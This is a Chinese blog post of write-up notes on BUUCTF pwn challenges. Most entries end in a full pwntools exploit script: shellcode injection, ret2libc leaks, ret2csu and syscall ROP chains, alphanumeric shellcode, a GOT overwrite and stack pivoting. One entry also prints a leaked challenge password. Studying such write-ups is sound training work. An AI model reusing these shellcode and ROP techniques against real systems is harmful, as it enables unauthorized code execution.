buu第三页笔记

发布时间 2023-11-27 21:06:38作者: fheap

 3、picoctf_2018_shellcode

 RELRO半开,其他全关,可以写入shellcode,同时ida打开看看,

 有call eax反汇编不了,可以把他改了,但是这道题挺简单,汇编也能凑合看

 vuln函数有个很明显的栈溢出我们可以写入我们的shellcode取得shell,同时要是个字符串

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_shellcode"
#p=process(pwn)
p=remote("node4.buuoj.cn",26297)
elf=ELF(pwn)
payload=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()

6、jarvisoj_level5

 64位,只开了NX保护,动态链接,ida打开看看

 显然ret2libc3,64位,找gadget

   Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level3_x64"
#p=process(pwn)
p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
payload=b'a'*0x88+p64(rdi)+p64(0x1)+p64(rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(elf.sym['main'])
p.recv()
p.send(payload)
write_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=write_addr-libc.sym['write']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0x88+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.send(payload)

p.interactive()

8、ciscn_2019_es_7

 64位,RELRO半开,NX保护开了,动态链接,ida打开看看,主函数就一个vuln函数,栈溢出很明显,有可能是ret2libc3也可以是syscall

 OK,ret2libc3不行,转战syscall

 找到一些有用的gadget

 因为要让rdx==0,rcx==0,且ropgadget无这些,所以借助ret2-csu

跟第一页的一道题一模一样

本地Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
p=process(pwn)
#p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x148

#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0xb8)+p64(0)+p64(0)+p64(0)+p64(r13_rdx)+p64(0)*7 #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)


p.interactive()

远程Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
#p=process(pwn)
p=remote("node4.buuoj.cn",25744)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x118

#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0x5)+p64(0)+p64(0)+p64(0)+p64(r13_rdx) #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)

p.interactive()

9、mrctf2020_shellcode_revenge

64位,RELRO全开,PIE开启,动态链接文件,ida看看,需要纯字符 shellcode

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_shellcode_revenge"
#p=process(pwn)
p=remote("node4.buuoj.cn",27166)
elf=ELF(pwn)
payload=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

p.send(payload)
p.interactive()

10、cmcc_pwnme2

 32位,RELRO半开,NX保护开了,ida打开看看

 这一看又是套娃,观察这几个函数要先使exec_string函数的&string地址上值改成/home/flag,覆盖返回地址后的调用函数的顺序就是add_home,add_flag,exec_string,有一个gets函数栈溢出,但是s的地址比ret地址高0x4个,也就是不能覆盖返回地址,但是userfunction函数会把输入的s复制给dest,且dest距离ebp有0x6c个字节,能覆盖返回地址那接下来就是构造rop链.

ebp=0x08048680
flag=0x08048682
home=0x08048644
a1=0xDEADBEEF
a2=0xCAFEBABE
a3=0xABADF00D
string=0x80485CB
payload=b'a'*0x70+p32(home)+p32(ebp)+p32(a2)+p32(a3)+p32(flag)+p32(string)+p32(a1)
p.recv()

可是buu 上的 flag 基本都是放在根目录下的 flag 和 flag.txt 文件里。只能ret2libc3,栈溢出是发生在 strcpy 那里的,不要有 p32(0) ,不然复制着就断了,然后最后 system('/bin/sh') 的时候要跳转回一个正常的地址,不然无法打通 

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

payload=b'a'*0x70+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))

libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
print(hex(libcbase))
p.recv()
payload=b'a'*0x70+p32(sys_addr)+p32(elf.sym['main'])+p32(bin_sh)
p.sendline(payload)
#pause()
p.interactive()

看了学长的博客,还有一种解法,直接把读取的string的bss段的值改为flag这个字符串在执行exec_string函数,通过gets函数修改,tql

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

string = 0x0804A060

payload = b'a'*0x70 + p32(elf.sym['gets']) + p32(elf.sym['exec_string']) + p32(string)
p.recv()
p.sendline(payload)
p.sendline(b'flag')
print(p.recv())
p.interactive()

11、picoctf_2018_got_shell

 32位,NX保护,动态编译,看运行的样子好像是任意地址写入?ida打开看看,有后门函数

 

 把puts的plt改为win的地址,因为这个主函数到最后使直接调用exit函数的

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_got-shell"
#p=process(pwn)
p=remote("node4.buuoj.cn",28013)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
payload=str(hex(elf.got['puts']))
p.recv()
p.sendline(payload)
payload=str(hex(elf.sym['win']))
p.recv()
p.sendline(payload)
p.interactive()

12、mrctf2020_easy_equation

 64位,RELRO半开,NX保护,动态链接,ida看看

 就是简单的栈溢出,跳过判断直接执行,简单粗暴

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_easy_equation"
#p=process(pwn)
p=remote("node4.buuoj.cn",26392)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

sys_addr=0x4006D0
payload=b'a'*9+p64(sys_addr)

p.sendline(payload)
p.interactive()

13、wdb_2018_2nd_easyfmt

 32位,RELRO半开,NX保护,动态链接,ida打开

 很明显的格式化字符串漏洞,但是会陷入循环,目前的思路就是靠格式化字符串漏洞泄露read函数或者puts函数got地址计算偏移,获得system函数地址和"/bin/sh\x00"的地址,再把printf函数got的地址改为system函数地址执行shell,先计算偏移为6

 

16、picoctf_2018_can_you_gets_me

 32位,RELRO半开,NX保护开启,静态编译文件,ida打开看看

 栈溢出,字符串无system函数,无flag,感觉是syscall,ROPgadget看看可以先ropchain

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_can-you-gets-me"
p=process(pwn)
#p=remote("node4.buuoj.cn",26392)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
def get_payload():
  p = b'a'*0x1c
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'/bin'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea064) # @ .data + 4
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'//sh'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080de955) # pop ecx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0806cc25) # int 0x80
  return p

payload=get_payload()
p.recv()
p.sendline(payload)
p.interactive()

17、suctf_2018_basic pwn

 64位,RELRO全开,NX保护,动态编译,ida打开看看

 就是简单栈溢出,劫持返回地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./SUCTF_2018_basic_pwn"
p=process(pwn)
p=remote("node4.buuoj.cn",25960)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
shel=0x401157
payload=b'a'*0x118+p64(shel)
p.sendline(payload)
p.interactive()

18、actf_2019_babystack

64位,RELRO半开,NX保护,动态编译,ida打开

 最多能覆盖到ret的地址,那应该就是栈迁移了,而且printf函数已经把栈上的地址打印出来了,接受就行,无后门函数,那就是栈迁移加ret2libc3

 ROPgadget找一下,64位寄存器传参,利用puts函数泄露libcbase,同时要注意返回主函数时栈的地址改变了,要再接收一遍栈地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ACTF_2019_babystack"
#p=process(pwn)
p=remote("node4.buuoj.cn",25543)
#gdb.attach(p,'b *0x400A09')
#pause()
elf=ELF(pwn)
rdi=0x400ad3
rsi_r15=0x400ad1
ret=0x400709
leave=0x400A18
main=0x4008F6
p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))


payload=b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)

p.sendafter(">",payload)
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print(hex(libcbase))

p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))
p.recv()
payload=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)
p.send(payload)

#pause()
p.interactive()

 

 

19、x_ctf_b0verfl0w

 32位,RELRO半开,动态链接,ida打开看看

21、picoctf_2018_leak_me

 32位,RELRO半开,NX保护,动态编译,ida打开看看

 有后门函数,一整个看下来就是不太清楚,还是本地运行一下,后面知道了,先输入用户名,在输入密码,且这道题要做要打远程写,第一个fgets函数输入0x100,v5和写入密码的s相差正好0x100,这样我们可以溢出到s处让后面的puts函数直接把密码打印出来.payload=b'a'*0xfc+b'stop'

 下方泄露的密码

 再远程nc,随便输入个名字,密码对就行          a_reAllY_s3cuRe_p4s$word_f85406

24、wustctf2020_name_your_cat

 32位,Canary和NX保护开了,动态编译,ida打开看看,发现后门函数

26、cmcc_pwnme1

 32位,RELRO半开,动态编译,ida打开看看

 按理来说是栈溢出劫持返回地址调用flag函数,但是buu放flag的地方可能有点问题,shellcode试了也没用,就剩ret2libc3

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme1"
#p=process(pwn)
p=remote("node4.buuoj.cn",26156)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
p.sendlineafter("Exit",str(5))
payload=b'a'*0xa8+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))


libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0xa8+p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.sendlineafter("Exit",str(5))
p.recv()
p.sendline(payload)
p.interactive()

 

27、[极客大挑战 2019]Not Bad

 

29、wdb2018_guess

 64位,RELRO半开,Canary开了,NX开了,动态编译